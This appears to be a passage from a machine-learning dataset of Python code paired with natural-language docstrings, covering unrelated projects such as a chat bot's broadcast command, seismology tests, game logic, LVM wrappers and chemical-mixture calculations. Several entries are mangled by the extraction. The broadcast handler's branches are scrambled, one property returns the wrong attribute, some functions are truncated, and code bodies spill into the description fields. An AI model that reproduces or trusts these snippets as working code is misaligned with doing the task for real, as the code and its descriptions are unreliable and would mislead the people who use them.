\".format(bot.conversations.get_name(convid), convid)\n for convid in _internal[\"broadcast\"][\"conversations\"] ]\n\n if not _internal[\"broadcast\"][\"message\"]:\n yield from bot.coro_send_message(event.conv, _(\"broadcast: no message set\"))\n return\n\n if not conv_info:\n yield from bot.coro_send_message(event.conv, _(\"broadcast: no conversations available\"))\n return\n\n yield from bot.coro_send_message(event.conv, _(\n \"message:
\"\n \"{}
\"\n \"to:
\"\n \"{}\".format(_internal[\"broadcast\"][\"message\"],\n \"
\".join(conv_info))))\n\n elif subcmd == \"message\":\n \"\"\"set broadcast message\"\"\"\n if parameters[0] == \"groups\":\n \"\"\"add all groups (chats with users > 1, bot not counted)\"\"\"\n for convid, convdata in bot.conversations.get().items():\n _internal[\"broadcast\"][\"conversations\"].append(convid)\n\n else:\n \"\"\"add by wild card search of title or id\"\"\"\n _internal[\"broadcast\"][\"conversations\"] = []\n\n else:\n \"\"\"remove by wild card search of title or id\"\"\"\n context = { \"explicit_relay\": True }\n for convid in _internal[\"broadcast\"][\"conversations\"]:\n yield from bot.coro_send_message(convid, _internal[\"broadcast\"][\"message\"], context=context)\n yield from bot.coro_send_message(event.conv, _(\"broadcast: message sent to {} chats\".format(len(_internal[\"broadcast\"][\"conversations\"]))))\n\n else:\n yield from bot.coro_send_message(event.conv, _(\"broadcast: /bot broadcast [info|message|add|remove|NOW] ...\"))\n\n else:\n yield from bot.coro_send_message(event.conv, _(\"broadcast: /bot broadcast [info|message|add|remove|NOW]\"))\n\n", "nl": "broadcast a message to chats, use with careif args:subcmd = args[0]parameters = args[1:]if subcmd == \"info\":display broadcast data such as message and target rooms"} {"code": "def test_create_preview_with_masked_arrays(self):\n trace = Trace(data=np.ma.ones(600))\n preview = create_preview(trace, delta=60)\n np.testing.assert_array_equal(preview.data, np.array(10 * [0]))\n trace = Trace(data=np.ma.ones(600))\n trace.data.mask = [False] * 600\n trace.data.mask[200:400] = True\n preview = create_preview(trace, delta=60)\n np.testing.assert_array_equal(preview.data,\n np.array(4 * [0] + 2 * [-1] + 4 * [0]))\n", "nl": "Test for creating preview using masked arrays."} {"code": "def getEPObjectsStr(self, objectName):\n\n objectData = self.getEPObjectDataByName(objectName)\n\n if objectData!=None:\n numberOfLayers = len(objectData.keys())\n objectStr = objectData[0] + \",\\n\"\n\n objectStr = objectStr + \" \" + objectName + \", !- name\\n\"\n\n for layer in range(1, numberOfLayers):\n if layer < numberOfLayers-1:\n objectStr = objectStr + \" \" + str(objectData[layer][0]) + \", !- \" + objectData[layer][1] + \"\\n\"\n else:\n objectStr = objectStr + \" \" + str(objectData[layer][0]) + \"; !- \" + objectData[layer][1] + \"\\n\\n\"\n return objectStr\n", "nl": "This function should work for materials, and counstructions"} {"code": "def moveToNextLeg(self, task):\n now = globalClock.getFrameTime()\n elapsed = now - self.pathStartTime\n\n nextLeg = self.legList.getLegIndexAtTime(elapsed, self.currentLeg)\n numLegs = self.legList.getNumLegs()\n\n if self.currentLeg != nextLeg:\n self.currentLeg = nextLeg\n self.__beginLegType(self.legList.getType(nextLeg))\n zoneId = self.legList.getZoneId(nextLeg)\n zoneId = ZoneUtil.getTrueZoneId(zoneId, self.branchId)\n self.__enterZone(zoneId)\n\n self.notify.debug(\"Suit %d reached leg %d of %d in zone %d.\" %\n (self.getDoId(), nextLeg, numLegs - 1,\n self.zoneId))\n\n if self.DEBUG_SUIT_POSITIONS:\n leg = self.legList.getLeg(nextLeg)\n pos = leg.getPosAtTime(elapsed - leg.getStartTime())\n self.d_debugSuitPosition(elapsed, nextLeg, pos[0], pos[1], now)\n\n\n if now - self.pathPositionTimestamp > self.UPDATE_TIMESTAMP_INTERVAL:\n self.resync()\n\n if self.pathState != 1:\n return Task.done\n\n nextLeg += 1\n while nextLeg + 1 < numLegs and \\\n self.legList.getZoneId(nextLeg) == ZoneUtil.getCanonicalZoneId(self.zoneId) and \\\n self.legList.getType(nextLeg) == self.legType:\n nextLeg += 1\n\n if nextLeg < numLegs:\n nextTime = self.legList.getStartTime(nextLeg)\n delay = nextTime - elapsed\n\n taskMgr.remove(self.taskName(\"move\"))\n taskMgr.doMethodLater(delay, self.moveToNextLeg, self.taskName(\"move\"))\n else:\n if self.attemptingTakeover:\n self.startTakeOver()\n\n self.requestRemoval()\n return Task.done\n", "nl": "This callback function is spawned by a do-later task as eachleg ETA is reached. It handles moving the suit to thenext leg, and all the bookkeeping that goes along withthat."} {"code": "def test_exception(self):\n try:\n raise ValueError(\"Some error\")\n except ValueError:\n self.logger.log(logging.ERROR, \"Error!\", sys.exc_info())\n\n latest = self.reader.get_log()[-1]\n self.assertTrue(isinstance(latest.exception, str),\n \"Exception info must be a string\")\n self.assertIn(__file__, latest.exception, \"Incomplete exception info\")\n\n self.assertIn(latest.exception, str(latest))\n\n for invalid in ([], [1, 2], (4, 5, 6)):\n self.logger.log(logging.ERROR, \"Error!\", invalid)\n latest = self.reader.get_log()[-1]\n self.assertEqual(latest.exception, '')", "nl": "Tests the exception information"} {"code": "def test_typeBuiltin(self):\n t = [str]\n r = jelly.unjelly(jelly.jelly(t))\n self.assertEqual(t, r)\n\n", "nl": "Test that a builtin type can be jellied and unjellied to the originaltype."} {"code": "def get_point_weight(point, tri_points):\n tp = tri_points\n v0 = tp[2,:] - tp[0,:]\n v1 = tp[1,:] - tp[0,:]\n v2 = point - tp[0,:]\n\n dot00 = np.dot(v0.T, v0)\n dot01 = np.dot(v0.T, v1)\n dot02 = np.dot(v0.T, v2)\n dot11 = np.dot(v1.T, v1)\n dot12 = np.dot(v1.T, v2)\n\n if dot00*dot11 - dot01*dot01 == 0:\n inverDeno = 0\n else:\n inverDeno = 1/(dot00*dot11 - dot01*dot01)\n\n u = (dot11*dot02 - dot01*dot12)*inverDeno\n v = (dot00*dot12 - dot01*dot02)*inverDeno\n\n w0 = 1 - u - v\n w1 = v\n w2 = u\n\n return w0, w1, w2\n", "nl": " Get the weights of the positionMethods: https://gamedev.stackexchange.com/questions/23743/whats-the-most-efficient-way-to-find-barycentric-coordinates-m1.compute the area of the triangles formed by embedding the point P inside the triangle-m2.Christer Ericson's book \"Real-Time Collision Detection\". faster.(used)Args:point: (2,). [u, v] or [x, y]tri_points: (3 vertices, 2 coords). three vertices(2d points) of a triangle.Returns:w0: weight of v0w1: weight of v1w2: weight of v3"} {"code": "def setImportStatus(self, value):\n if self.isNovelLike():\n self.setStatus(value)\n else:\n self.setImport(value)\n return\n", "nl": "Update the importance or status value based on class. This isa wrapper setter for setStatus and setImport."} {"code": "def export_world(export_ctx, world, ignore_background):\n output_node = world.node_tree.nodes['World Output']\n if not output_node.inputs[\"Surface\"].is_linked:\n return\n surface_node = output_node.inputs[\"Surface\"].links[0].from_node\n try:\n convert_world(export_ctx, surface_node, ignore_background)\n except NotImplementedError as err:\n export_ctx.log(\"Error while exporting world: %s. Not exporting it.\" % err.args[0], 'WARN')", "nl": "export_ctx: export contextworld: blender 'world' objectignore_background: whether we ignore blender's default grey background or not."} {"code": "def test_lvcreate(self):\n lvm.lvcreate('some_volume', '1024', 'some_group')\n\n treadmill.subproc.check_call.assert_called_with(\n [\n 'lvm', 'lvcreate',\n '--autobackup', 'n',\n '--wipesignatures', 'y',\n '--size', '1024B',\n '--name', 'some_volume',\n 'some_group',\n ]\n )\n\n @mock.patch('treadmill.subproc.check_call', mock.Mock())", "nl": "Test LVM Logical Volume creation."} {"code": "def resize_masks(masks, image_size):\n masks_n = masks.squeeze()\n masks_resize = np.zeros((masks_n.shape[0], image_size[0], image_size[1]))\n for i in range(masks_n.shape[0]):\n masks_resize[i] = skimage.transform.resize(masks_n[i], image_size, order=3)\n masks_resize[i] = (masks_resize[i] >= 0.75).astype('uint8')\n return masks_resize\n\n", "nl": "Resize masks size:param masks: numpy of shape (n, 1, h, w):param image_size: H, W:return: numpy array of shape (n, H, W)"} {"code": "def exit(self):\n self.lgd.save_config()\n", "nl": "Do cleanup, config saving, and exit."} {"code": "def clustering_order_in_test(self):\n cursor = self.prepare()\n\n cursor.execute(\"\"\"\n\n for is_upgraded, cursor in self.do_upgrade(cursor):\n debug(\"Querying {} node\".format(\"upgraded\" if is_upgraded else \"old\"))\n cursor.execute(\"TRUNCATE test\")\n\n cursor.execute(\"INSERT INTO test (a, b, c) VALUES (1, 2, 3)\")\n cursor.execute(\"INSERT INTO test (a, b, c) VALUES (4, 5, 6)\")\n\n assert_one(cursor, \"SELECT * FROM test WHERE a=1 AND b=2 AND c IN (3)\", [1, 2, 3])\n assert_one(cursor, \"SELECT * FROM test WHERE a=1 AND b=2 AND c IN (3, 4)\", [1, 2, 3])\n", "nl": "@jira_ticket CASSANDRA-7105"} {"code": "def _deepiter_dict(dct):\n", "nl": "Iterate over all key, value pairs of a (possibly nested) dictionary.In this case, all keys of the nested dicts are summarised in a tuple.Args:dct: dict object to iterate.Yields:Tuple of keys (itself a tuple) and the corresponding value.Examples:>>> list(_deepiter_dict({\"a\": {\"b\": 1, \"c\": 2}, \"d\": 3}))[(('a', 'b'), 1), (('a', 'c'), 2), (('d',), 3)]"} {"code": "def linker(fn):\n fn._sa_instrument_role = 'linker'\n return fn\n\n link = linker\n \"\"\"deprecated; synonym for :meth:`.collection.linker`.\"\"\"", "nl": "Tag the method as a \"linked to attribute\" event handler.This optional event handler will be called when the collection classis linked to or unlinked from the InstrumentedAttribute. It isinvoked immediately after the '_sa_adapter' property is set onthe instance. A single argument is passed: the collection adapterthat has been linked, or None if unlinking... deprecated:: 1.0.0 - the :meth:`.collection.linker` handleris superseded by the :meth:`.AttributeEvents.init_collection`and :meth:`.AttributeEvents.dispose_collection` handlers."} {"code": "def get_fullname(self, filesafe=False):\n return _get_name_and_version(self['Name'], self['Version'], filesafe)\n", "nl": "Return the distribution name with version.If filesafe is true, return a filename-escaped form."} {"code": "def get_random_uuid_hex(name=None):\n import uuid\n if name is None:\n return uuid.uuid4().hex\n return get_random_uuid(name).replace('-', '')", "nl": "Return a random UUID hex string with style version 4, the name is use tokeeping persistenc."} {"code": "def media_content_id(self):\n return self._device_class\n", "nl": "Content ID of current playing media.return self._channel_name@propertydef device_class(self):Return the device class of the media player."} {"code": "def filesys_decode(path):\n\n if isinstance(path, six.text_type):\n return path\n\n fs_enc = sys.getfilesystemencoding() or 'utf-8'\n candidates = fs_enc, 'utf-8'\n\n for enc in candidates:\n try:\n return path.decode(enc)\n except UnicodeDecodeError:\n continue\n\n", "nl": "Ensure that the given path is decoded,NONE when no expected encoding works"} {"code": "def __init__(self, out_channels, stride):\n super(SkipConvolution, self).__init__(\n out_channels=out_channels, kernel_size=1, stride=stride, relu=False)\n\n\nclass ResidualBlock(tf.keras.layers.Layer):\n \"\"\"A Residual block.\"\"\"", "nl": "Initializes the skip convolution layer.Args:out_channels: int, the desired number of output channels.stride: int, the stride for the layer."} {"code": "def process(test, params, env, image_func, vm_func, vm_first=False, fs_source_func=None):", "nl": "Pre- or post-process VMs and images according to the instructions in params.Call image_func for each image listed in params and vm_func for each VM.:param test: An Autotest test object.:param params: A dict containing all VM and image parameters.:param env: The environment (a dict-like object).:param image_func: A function to call for each image.:param vm_func: A function to call for each VM.:param vm_first: Call vm_func first or not.:param fs_source_func: A function to call for each filesystem source."} {"code": "def get(self, dashboard_id=None):\n if request.args.get(\"legacy\") is not None:\n fn = models.Dashboard.get_by_slug_and_org\n else:\n fn = models.Dashboard.get_by_id_and_org\n\n dashboard = get_object_or_404(fn, dashboard_id, self.current_org)\n response = DashboardSerializer(\n dashboard, with_widgets=True, user=self.current_user\n ).serialize()\n\n api_key = models.ApiKey.get_by_object(dashboard)\n if api_key:\n response[\"public_url\"] = url_for(\n \"redash.public_dashboard\",\n token=api_key.api_key,\n org_slug=self.current_org.slug,\n _external=True,\n )\n response[\"api_key\"] = api_key.api_key\n\n response[\"can_edit\"] = can_modify(dashboard, self.current_user)\n\n self.record_event(\n {\"action\": \"view\", \"object_id\": dashboard.id, \"object_type\": \"dashboard\"}\n )\n\n return response\n\n @require_permission(\"edit_dashboard\")", "nl": "Retrieves a dashboard.:qparam number id: Id of dashboard to retrieve... _dashboard-response-label::>json number id: Dashboard ID:>json string name::>json string slug::>json number user_id: ID of the dashboard creator:>json string created_at: ISO format timestamp for dashboard creation:>json string updated_at: ISO format timestamp for last dashboard modification:>json number version: Revision number of dashboard:>json boolean dashboard_filters_enabled: Whether filters are enabled or not:>json boolean is_archived: Whether this dashboard has been removed from the index or not:>json boolean is_draft: Whether this dashboard is a draft or not.:>json array layout: Array of arrays containing widget IDs, corresponding to the rows and columns the widgets are displayed in:>json array widgets: Array of arrays containing :ref:`widget ` data:>json object options: Dashboard options.. _widget-response-label:Widget structure::>json number widget.id: Widget ID:>json number widget.width: Widget size:>json object widget.options: Widget options:>json number widget.dashboard_id: ID of dashboard containing this widget:>json string widget.text: Widget contents, if this is a text-box widget:>json object widget.visualization: Widget contents, if this is a visualization widget:>json string widget.created_at: ISO format timestamp for widget creation:>json string widget.updated_at: ISO format timestamp for last widget modification"} {"code": "def ThCond_Gas(self, T, P, rho):\n l = lista[:]\n for i in self.zeros:\n l.insert(i, val)\n return l\n\n\n\nif __name__ == '__main__':\n\n mezcla = Mezcla(2, ids=[1, 2, 40, 41], caudalUnitarioMolar=[\n 0.004397674808848511, 0.057137022156057246, 0.7079892468704139, 0.23047605616468061])\n P = unidades.Pressure(485, \"psi\")\n T = unidades.Temperature(100, \"F\")\n print(mezcla.RhoL(T, P))", "nl": "General method for calculate thermal conductivity of gasmethod = self.kwargs[\"ThCondGMix\"]if method is None or method >= len(Mezcla.METHODS_ThG):method = self.Config.getint(\"Transport\", \"ThCondGMix\")Pcorr = self.kwargs[\"ThCondGPMix\"]if Pcorr is None or method >= len(Mezcla.METHODS_ThGP):Pcorr = self.Config.getint(\"Transport\", \"Corr_ThCondGMix\")# Calculate of low pressure viscosityif method == 0:Mi = self._arraylize(\"M\")mui = [cmp.Mu_Gas(T, 101325, rho) for cmp in self.componente]ki = [cmp.ThCond_Gas(T, P, rho) for cmp in self.componente]ko = ThG_MasonSaxena(self.fraccion, Mi, mui, ki)elif method == 1:Mi = self._arraylize(\"M\")Tbi = self._arraylize(\"Tb\")mui = [cmp.Mu_Gas(T, 101325, rho) for cmp in self.componente]ki = [cmp.ThCond_Gas(T, P, rho) for cmp in self.componente]ko = ThG_LindsayBromley(T, self.fraccion, Mi, Tbi, mui, ki)elif method == 2:Tci = self._arraylize(\"Tc\")Vci = self._arraylize(\"Vc\")Mi = self._arraylize(\"M\")wi = self._arraylize(\"f_acent\")Cvi = [cmp.Cv(T) for cmp in self.componente]Di = self._arraylize(\"dipole\", \"Debye\")ki = [cmp._K_Chung() for cmp in self.componente]mu = MuG_Chung(T, self.fraccion, Tci, Vci, Mi, wi, Di, ki)ko = ThG_Chung(T, self.fraccion, Tci, Vci, Mi, wi, Cvi, mu)# Add correction factor for high pressureif P < 1e6:k = koelif Pcorr == 0:Tci = self._arraylize(\"Tc\")Pci = self._arraylize(\"Pc\")Vci = self._arraylize(\"Vc\")wi = self._arraylize(\"f_acent\")Mi = self._arraylize(\"M\")k = ThG_StielThodosYorizane(T, self.fraccion, Tci, Pci, Vci, wi, Mi, 1/rho, ko)elif Pcorr == 1:Tci = self._arraylize(\"Tc\")Vci = self._arraylize(\"Vc\")Zci = self._arraylize(\"Zc\")wi = self._arraylize(\"f_acent\")Mi = self._arraylize(\"M\")k = ThG_TRAPP(T, self.fraccion, Tci, Vci, Zci, wi, Mi, rho, ko)elif Pcorr == 2:Tci = self._arraylize(\"Tc\")Vci = self._arraylize(\"Vc\")Mi = self._arraylize(\"M\")wi = self._arraylize(\"f_acent\")Di = self._arraylize(\"dipole\", \"Debye\")ki = [cmp._K_Chung() for cmp in self.componente]k = ThG_P_Chung(T, self.fraccion, Tci, Vci, Mi, wi, Di, ki, rho, ko)return k# Entity related functionalitydef writeStatetoJSON(self, state):mezcla = {}if self._bool:mezcla[\"ids\"] = self.idsmezcla[\"fraction\"] = self.fraccionmezcla[\"massFraction\"] = self.fraccion_masicamezcla[\"massUnitFlow\"] = self.caudalunitariomasicomezcla[\"molarUnitFlow\"] = self.caudalunitariomolarmezcla[\"massFlow\"] = self.caudalmasicomezcla[\"molarFlow\"] = self.caudalmolarmezcla[\"M\"] = self.Mmezcla[\"Tc\"] = self.Tcmezcla[\"tpc\"] = self.tpcmezcla[\"ppc\"] = self.ppcmezcla[\"Pc\"] = self.Pcmezcla[\"w\"] = self.f_acentmezcla[\"wm\"] = self.f_acent_modmezcla[\"Vc\"] = self.Vcmezcla[\"Tb\"] = self.Tbmezcla[\"SG\"] = self.SGstate[\"mezcla\"] = mezcladef readStatefromJSON(self, mezcla):if mezcla:self._bool = Trueself.ids = mezcla[\"ids\"]self.componente = [Componente(int(i)) for i in self.ids]self.fraccion = [unidades.Dimensionless(x) for x in mezcla[\"fraction\"]]self.fraccion_masica = [unidades.Dimensionless(x) for x in mezcla[\"massFraction\"]]self.caudalunitariomasico = [unidades.MassFlow(x) for x in mezcla[\"massUnitFlow\"]]self.caudalunitariomolar = [unidades.MolarFlow(x) for x in mezcla[\"molarUnitFlow\"]]self.caudalmasico = unidades.MassFlow(mezcla[\"massFlow\"])self.caudalmolar = unidades.MolarFlow(mezcla[\"molarFlow\"])self.M = unidades.Dimensionless(mezcla[\"M\"])self.Tc = unidades.Temperature(mezcla[\"Tc\"])self.tpc = unidades.Temperature(mezcla[\"tpc\"])self.ppc = unidades.Pressure(mezcla[\"ppc\"])self.Pc = unidades.Pressure(mezcla[\"Pc\"])self.f_acent = unidades.Dimensionless(mezcla[\"w\"])self.f_acent_mod = unidades.Dimensionless(mezcla[\"wm\"])self.Vc = unidades.SpecificVolume(mezcla[\"Vc\"])self.Tb = unidades.Temperature(mezcla[\"Tb\"])self.SG = unidades.Dimensionless(mezcla[\"SG\"])def recallZeros(self, lista, val=0):Method to return any list with null component added"} {"code": "def test_no_rebind(self):\n module = install_bundle(self.framework)\n context = get_factory_context(module.RequiresBestComponentFactory)\n configs = context.get_handler(RequiresBest.HANDLER_ID)\n configs[\"service\"].immediate_rebind = False\n\n self.__internal_test(module,\n [IPopoEvent.INVALIDATED, IPopoEvent.UNBOUND,\n IPopoEvent.BOUND, IPopoEvent.VALIDATED])\n\n\nif __name__ == \"__main__\":\n import logging\n logging.basicConfig(level=logging.DEBUG)\n unittest.main()", "nl": "Tests the @RequiresBest handler without immediate_rebind"} {"code": "def get_chassis_in_azs(chassis_list, az_list):\n chassis = set()\n for ch in chassis_list:\n chassis_azs = get_chassis_availability_zones(ch)\n if chassis_azs.intersection(az_list):\n chassis.add(ch.name)\n return chassis\n\n", "nl": "Return a set of Chassis that belongs to the AZs.Given a list of Chassis and a list of availability zones (AZs),return a set of Chassis that belongs to one or more AZs.:param chassis_list: A list of Chassis objects:param az_list: A list of availability zones:returns: A set of Chassis names"} {"code": "def OnChildFocus(self, evt):", "nl": "Bind a control's wx.EVT_CHILD_FOCUS event to this method so that thetext is immediately highlighted when the user clicks inside the field."} {"code": "def _sync_flush(f):\n _sync_flush(f)\n f.close()\n\n\nclass _Mailbox():\n", "nl": "Ensure changes to file f are physically on disk.f.flush()if hasattr(os, 'fsync'):os.fsync(f.fileno())def _sync_close(f):Close file f, ensuring all changes are physically on disk."} {"code": "def quat_rotate(X, q):\n ones_x = X[[0], :, :][:, :, [0]] * 0 + 1\n q = torch.unsqueeze(q, 1) * ones_x\n\n q_conj = torch.cat([q[:, :, [0]], -1 * q[:, :, 1:4]], dim=-1)\n X = torch.cat([X[:, :, [0]] * 0, X], dim=-1)\n\n X_rot = hamilton_product(q, hamilton_product(X, q_conj))\n return X_rot[:, :, 1:4]\n\n", "nl": "Rotate points by quaternions.Args:X: B X N X 3 pointsq: B X 4 quaternionsReturns:X_rot: B X N X 3 (rotated points)"} {"code": "def __getitem__(self, name, file_local=False):\n prefix = 'file-local-options/' if file_local else 'options/'\n return self._set_property(prefix+name, value)\n", "nl": "Get an option value.prefix = 'file-local-options/' if file_local else 'options/'return self._get_property(prefix+name, lazy_decoder)def __setitem__(self, name, value, file_local=False):Set an option value."} {"code": "def test_default_resolver_resolves_value_from_object_attr():\n\n query = QueryType()\n query.set_field(\"test\", lambda *_: Mock(node=\"custom\"))\n", "nl": "type_defs = type Query {test: Custom}type Custom {node: String}"} {"code": "def add_config(self, new_config):\n body = {\"method\": \"add\", \"params\": [{\"url\": self.obj_url, \"data\": new_config, \"session\": self.session}]}\n response = self.make_request(body)\n\n return response\n\n @staticmethod", "nl": "This method is used to submit a configuration request to the FortiManager. Only the object configuration detailsneed to be provided; all other parameters that make up the API request body will be handled by the method.:param new_config: Type list.The \"data\" portion of the configuration to be submitted to the FortiManager.:return: The response from the API request to add the configuration."} {"code": "def configure_formatter(self, config):\n if '()' in config:\n result = self.configure_custom(config)\n else:\n name = config.get('name', '')\n result = logging.Filter(name)\n return result\n", "nl": "Configure a formatter from a dictionary.if '()' in config:factory = config['()'] # for use in exception handlertry:result = self.configure_custom(config)except TypeError as te:if \"'format'\" not in str(te):raise#Name of parameter changed from fmt to format.#Retry with old name.#This is so that code can be used with older Python versions#(e.g. by Django)config['fmt'] = config.pop('format')config['()'] = factoryresult = self.configure_custom(config)else:fmt = config.get('format', None)dfmt = config.get('datefmt', None)result = logging.Formatter(fmt, dfmt)return resultdef configure_filter(self, config):Configure a filter from a dictionary."} {"code": "def get_distribution_names(self):\n raise NotImplementedError('Please implement in the subclass')\n", "nl": "Return all the distribution names known to this locator."} {"code": "def openapi_types():\n lazy_import()\n return {\n 'cluster': (ClusterInfoSummary,),\n 'validation_messages': ([ConfigValidationMessage],),\n }\n\n @cached_property", "nl": "This must be a method because a model may have properties that areof type self, this must run after the class is loadedReturnsopenapi_types (dict): The key is attribute nameand the value is attribute type."} {"code": "def GetFileList(rootPaths, lstXtn, shortNameOnly='Y'):\n numFiles = 0\n opFileList = []\n if type(rootPaths) == str:\n rootPaths = [rootPaths]\n for rootPath in rootPaths:\n for root, dirs, files in os.walk(rootPath):\n for basename in files:\n for xtn in lstXtn:\n if fnmatch.fnmatch(basename, xtn):\n filename = os.path.join(root, basename)\n numFiles = numFiles + 1\n if shortNameOnly == 'Y':\n opFileList.append( os.path.basename(filename))\n else:\n opFileList.append(filename)\n\n return sorted(opFileList)\n\n\n", "nl": "builds a list of files and returns as a list"} {"code": "def test_slogdet_func(self):\n arr = np.array([[ 4., 12., -16.],\n [ 12., 37., -43.],\n [-16., -43., 98.]])\n res = linalg.cholesky(arr)\n self.assertApproxEqual(np.dot(res, res.T), arr)\n\n\nclass TestWrappersLinalg(PbTestCase):\n", "nl": "Work-around so that this function can be annotated in .pxdarr = np.array([[1., 2.], [-3., 4.]])res = math.log(linalg.det(arr))self.assertApproxEqual(res, 2.30258509299)def test_cholesky_func(self):Work-around so that this function can be annotated in .pxd"} {"code": "def get_dev_examples(self, data_dir, filename=None):\n if data_dir is None:\n data_dir = \"\"\n\n if self.dev_file is None:\n raise ValueError(\"SquadProcessor should be instantiated via SquadV1Processor or SquadV2Processor\")\n\n with open(\n os.path.join(data_dir, self.dev_file if filename is None else filename), \"r\", encoding=\"utf-8\"\n ) as reader:\n input_data = json.load(reader)[\"data\"]\n return self._create_examples(input_data, \"dev\")\n", "nl": "Returns the evaluation example from the data directory.Args:data_dir: Directory containing the data files used for training and evaluating.filename: None by default, specify this if the evaluation file has a different name than the original onewhich is `train-v1.1.json` and `train-v2.0.json` for squad versions 1.1 and 2.0 respectively."} {"code": "def _get_response_values_by_keywords(self, hint):\n if not self._response_values:\n return []\n\n if hint in self._keywords_for_response:\n value_to_search = self._keywords_for_response[hint]\n else:\n return []\n\n for rsp_tag in self._response_values:\n values = self._response_values[rsp_tag]\n for val in values:\n if str(value_to_search) in str(val):\n return [val]\n\n return []\n", "nl": " Return the values from response based on the given hint/keyword@param hint: Hint/keyword in the response@type hint: String@return: A list of values having the hint@rtype: List"} {"code": "def begin_command_remove_failed_node(self, node_id):\n return self._network.manager.beginControllerCommand(self.home_id, \\\n self.CMD_REMOVEFAILEDNODE, self.zwcallback, nodeId=node_id)\n\n @deprecated", "nl": "Move a node to the controller's list of failed nodes. The node mustactually have failed or have been disabled since the commandwill fail if it responds. A node must be in the controller'sfailed nodes list for ControllerCommand_ReplaceFailedNode to work.:param node_id: Used only with the ReplaceFailedNode command, to specify the node that is going to be replaced.:type node_id: int:return: True if the command was accepted and has started.:rtype: bool"} {"code": "def add_directoryitem(entry, is_folder=True, widget=None, widget2=None):\n if \"emby\" in entry:\n content_strings = [\n \"\",\n \".recent\",\n \".inprogress\",\n \".unwatched\",\n \".recentepisodes\",\n \".inprogressepisodes\",\n \".nextepisodes\",\n \".recommended\"]\n elif \"plex\" in entry:\n content_strings = [\"\", \".ondeck\", \".recent\", \".unwatched\"]\n elif \"netflix.generic.suggestions\" in entry:\n content_strings = [\"\", \".0\", \".1\", \".2\", \".3\", \".4\", \".5\", \".6\", \".7\", \".8\", \".9\", \".10\"]\n elif \"netflix\" in entry:\n content_strings = [\n \"\",\n \".mylist\",\n \".recent\",\n \".inprogress\",\n \".suggestions\",\n \".genres\",\n \".recommended\",\n \".trending\"]\n\n for content_string in content_strings:\n key = entry + content_string\n widget = None\n widget2 = None\n if content_string == \"\":", "nl": "helper to create a listitem for our smartshortcut nodelabel = \"$INFO[Window(Home).Property(%s.title)]\" % entrypath = \"$INFO[Window(Home).Property(%s.path)]\" % entrycontent = \"$INFO[Window(Home).Property(%s.content)]\" % entryimage = \"$INFO[Window(Home).Property(%s.image)]\" % entrymediatype = \"$INFO[Window(Home).Property(%s.type)]\" % entryif is_folder:path = sys.argv[0] + \"?action=SMARTSHORTCUTS&path=\" + entrylistitem = xbmcgui.ListItem(label, path=path)listitem.setArt({\"icon\": 'DefaultFolder.png'})else:listitem = xbmcgui.ListItem(label, path=path)props = {}props[\"list\"] = contentif not xbmc.getInfoLabel(mediatype):mediatype = \"media\"props[\"type\"] = mediatypeprops[\"background\"] = \"$INFO[Window(Home).Property(%s.image)]\" % entryprops[\"backgroundName\"] = \"$INFO[Window(Home).Property(%s.title)]\" % entrylistitem.setInfo(type=\"Video\", infoLabels={\"Title\": \"smartshortcut\"})listitem.setArt({\"icon\": \"special://home/addons/script.skin.helper.service/fanart.jpg\", \"thumb\": image})if widget:widget_type = \"$INFO[Window(Home).Property(%s.type)]\" % widgetif not xbmc.getInfoLabel(mediatype):widget_type = mediatypeif widget_type in [\"albums\", \"artists\", \"songs\"]:widget_target = \"music\"else:widget_target = \"video\"props[\"widget\"] = \"addon\"props[\"widgetName\"] = \"$INFO[Window(Home).Property(%s.title)]\" % widgetprops[\"widgetType\"] = widget_typeprops[\"widgetTarget\"] = widget_targetprops[\"widgetPath\"] = \"$INFO[Window(Home).Property(%s.content)]\" % widgetif \"plugin:\" in xbmc.getInfoLabel(\"$INFO[Window(Home).Property(%s.content)]\" % widget):props[\"widgetPath\"] = props[\"widgetPath\"] + \\\"&reload=$INFO[Window(Home).Property(widgetreload)]$INFO[Window(Home).Property(widgetreload2)]\"if widget2:widget_type = \"$INFO[Window(Home).Property(%s.type)]\" % widget2if not xbmc.getInfoLabel(mediatype):widget_type = mediatypeif widget_type == \"albums\" or widget_type == \"artists\" or widget_type == \"songs\":widget_target = \"music\"else:widget_target = \"video\"props[\"widget.1\"] = \"addon\"props[\"widgetName.1\"] = \"$INFO[Window(Home).Property(%s.title)]\" % widget2props[\"widgetType.1\"] = widget_typeprops[\"widgetTarget.1\"] = widget_targetprops[\"widgetPath.1\"] = \"$INFO[Window(Home).Property(%s.content)]\" % widget2if \"plugin:\" in xbmc.getInfoLabel(\"$INFO[Window(Home).Property(%s.content)]\" % widget2):props[\"widgetPath.1\"] = props[\"widgetPath.1\"] + \\\"&reload=$INFO[Window(Home).Property(widgetreload)]$INFO[Window(Home).Property(widgetreload2)]\"listitem.setInfo(type=\"Video\", infoLabels={\"mpaa\": repr(props)})listitem.setArt({\"fanart\": image})xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]), url=path, listitem=listitem, isFolder=is_folder)def smartshortcuts_sublevel(entry):get subnodes for smartshortcut node"} {"code": "def _on_connection_open(self, method_frame):\n\n self.known_hosts = method_frame.method.known_hosts\n\n self._set_connection_state(self.CONNECTION_OPEN)\n\n self.callbacks.process(0, self.ON_CONNECTION_OPEN, self, self)\n", "nl": "This is called once we have tuned the connection with the server andcalled the Connection.Open on the server and it has replied withConnection.Ok."} {"code": "def get_free_range(parent_range, excluded_ranges, size=PRIMARY_VIP_RANGE_SIZE):\n free_cidrs = netaddr.IPSet([parent_range]) - netaddr.IPSet(excluded_ranges)\n for cidr in free_cidrs.iter_cidrs():\n if cidr.prefixlen <= size:\n return '%s/%s' % (cidr.network, size)\n\n raise ValueError(_('Network of size %(size)s, from IP range '\n '%(parent_range)s excluding IP ranges '\n '%(excluded_ranges)s was not found.') %\n {'size': size,\n 'parent_range': parent_range,\n 'excluded_ranges': excluded_ranges})\n\n\nclass InvalidInstanceStateException(exceptions.NeutronException):\n message = _('Invalid instance state: %(state)s, valid states are: '\n '%(valid_states)s')\n", "nl": "Get a free IP range, from parent_range, of the specified size.:param parent_range: String representing an IP range. E.g: '169.254.0.0/16':param excluded_ranges: A list of strings to be excluded from parent_range:param size: What should be the size of the range returned?:return: A string representing an IP range"} {"code": "def get_all(self, **search):\n filters = []\n values = []\n for k, v in search.items():\n value = v\n filters.append(\"{key} = ?\".format(key=k))\n values.append(value)\n\n request = \"SELECT * FROM dividends WHERE {filters}\".format(filters=\" AND \".join(filters))\n\n c = self._conn.execute(request, tuple(values))\n datas = c.fetchall()\n if datas:\n return [Dividend(*data) for data in datas]\n return []\n", "nl": "Get all existing dividend in the database corresponding to the search:param dict search: 